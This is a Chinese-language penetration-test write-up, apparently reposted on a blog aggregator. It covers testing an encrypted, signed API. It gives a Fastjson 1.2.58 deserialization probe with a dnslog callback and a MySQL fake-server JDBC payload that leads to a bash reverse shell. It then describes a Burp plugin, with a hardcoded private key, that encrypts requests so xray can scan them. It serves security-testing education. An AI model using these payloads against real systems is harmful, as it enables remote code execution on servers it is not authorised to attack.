【网络安全】记一次接口加密测试
前言
之前接到一個接口測試項目,就提供了一個demo源碼和接口設計文檔,文檔里一共有15個接口。
本來以為接口測試,只要把參數(shù)拼接上去測測就ok了(數(shù)據(jù)是json格式),但看到設計文檔里說數(shù)據(jù)又得做簽名又得做加密,這樣測試就變得繁瑣了,掃描器也掃不了。
沒加密發(fā)送,返回會顯示解密失敗。
?
其實是有幾種解決方案的,寫一個代理服務器,經(jīng)過的時候做數(shù)據(jù)加密處理啥的,另一個就是寫個burp插件,做請求前的數(shù)據(jù)自動加密,這個其實用過chunked編碼插件的就很容易理解。
在這里我打算選擇后者,其實burp本身就是一個代理服務器,所以代理部分就不需要我們操心了,我們只需要解決數(shù)據(jù)處理部分。
【點擊查看網(wǎng)絡安全學攻略·資料】
fastjson利用
在干之前還是得先看看demo源碼有啥,因為還不清楚具體的簽名和加密的細節(jié)。
目標系統(tǒng)是基于java開發(fā)的,demo當然也是java了,項目是用mvn管理的,IDEA自帶mvn,就重新編譯打包一下,運行jar包運行的是一個spingboot應用,但demo里并沒有提供接口,所以其實沒啥用。
所以就翻翻其他文件,首先要看的就是pom.xml看下有哪些依賴包,提交的數(shù)據(jù)都是json的,其實也猜到一些,這里可以看到fastjson1.2.58,一個存在漏洞的版本,而目標如果一樣的話,那就可以先獲取高危一枚。
雖然還沒搞定加解密,先提交poc 嘗試
{"@type":“java.net.Inet4Address”,“val”:“123.3l6h3t.dnslog.cn”}
目標成功解析
然后上mysql connector payload。
github有一個項目也一鍵搭建一個faker mysql
https://github.com/fnmsd/MySQL_Fake_Server
讓目標發(fā)送如下,會返回一個執(zhí)行的序列化對象,從而讓目標反序列化執(zhí)行,構(gòu)造的參數(shù)放在user字段。
mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
效果如下,解析客戶端發(fā)送的user字段,這里調(diào)用cc10執(zhí)行bash反彈。
burp插件設計
回頭再看看其他源碼,有個XXXCashTest.java,是用于客戶端提交數(shù)據(jù)測試的,隨便找到一個方法,commonApplyDto是接口參數(shù)的類,通過fastjson序列化成字符串,將字符串使用AES加密,作為data的參數(shù)值,使用RSA私鑰簽名作為sign的參數(shù)值,然后再提交。他這里是loadPemKey讀取本地私鑰文件。
知道他怎么處理的插件就好些了,關(guān)于插件編寫和調(diào)試流程我之前有寫過一篇文章簡單介紹了下,也可以參考先知上的一篇文章https://xz.aliyun.com/t/7065
chunked編碼插件可實現(xiàn)手動編碼和自動編碼功能,就以他為模板改,先從github下載源碼
https://github.com/c0ny1/chunked-coding-converter
根據(jù)原始菜單功能,找到encoding的動作事件
里面會調(diào)用Transfer.encoding對請求數(shù)據(jù)處理
這和burp代理事件調(diào)用的是同個方法,這樣就可以一次性將手動和自動加密都搞定了。
把demo的相關(guān)類放到插件項目里,然后調(diào)整如下,為了方便插件使用,我新增一個getPemKey()方法,將私鑰寫死,方便使用,然后生成新的body,需要注意的是參數(shù)值得手動做URL編碼。
最后有個頭部的iter迭代搜索,如果匹配到content-type,那么就統(tǒng)一修改成x-www-form,
這個是為啥呢,是這樣,因為要測試的接口較多,而且參數(shù)也比較多,我想使用xray來掃描,那么就得將原始數(shù)據(jù)包先經(jīng)過xray,xray做解析,然后再發(fā)給burp做加密,最終發(fā)送。
流程圖大致如下
但有個問題,因為設計文檔里說明提交使用application/x-www-form-urlencoded,所以在burpsuite1構(gòu)造json數(shù)據(jù)提交給xray的時候,xray如果識別到是application/x-www-form-urlencoded,他不會當做json數(shù)據(jù)處理,只會當成普通表單數(shù)據(jù),而json數(shù)據(jù)里沒有等號,所以會把整個json當成key做URL編碼,然后將payload作為value填充,大概如下,這種server肯定沒法正常處理,正常來說應該對json里的參數(shù)值做fuzz的。 (這里Content-Type忽略,測試的時候手動改過)
而只有當Content-Type: application/json時,才會正常解析,但這樣提交到server就不能做正常處理,server端只認application/x-www-form-urlencoded,所以才在插件里做了這么一個轉(zhuǎn)換。最終如下
至此burp插件寫完了,編譯打包,然后在burpsuite2(其實是找了一臺單獨的server運行)加載
自動編碼配置,右鍵菜單,勾選proxy即可。
xray構(gòu)造的數(shù)據(jù)包
自動加密后的
到此接口測試準備就緒,后續(xù)就是常規(guī)的web滲透階段,愉快的在burpsuite1里構(gòu)造測試數(shù)據(jù)包,并聯(lián)動xray進行自動化測試。
總結(jié)
最后 ·關(guān)注私信我獲取網(wǎng)絡安全學習資料·攻略
總結(jié)
以上是生活随笔為你收集整理的【网络安全】记一次接口加密测试的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 功能强大的被动开源情报自动化侦察框架
- 下一篇: 【WEB安全】Xstream最新反序列化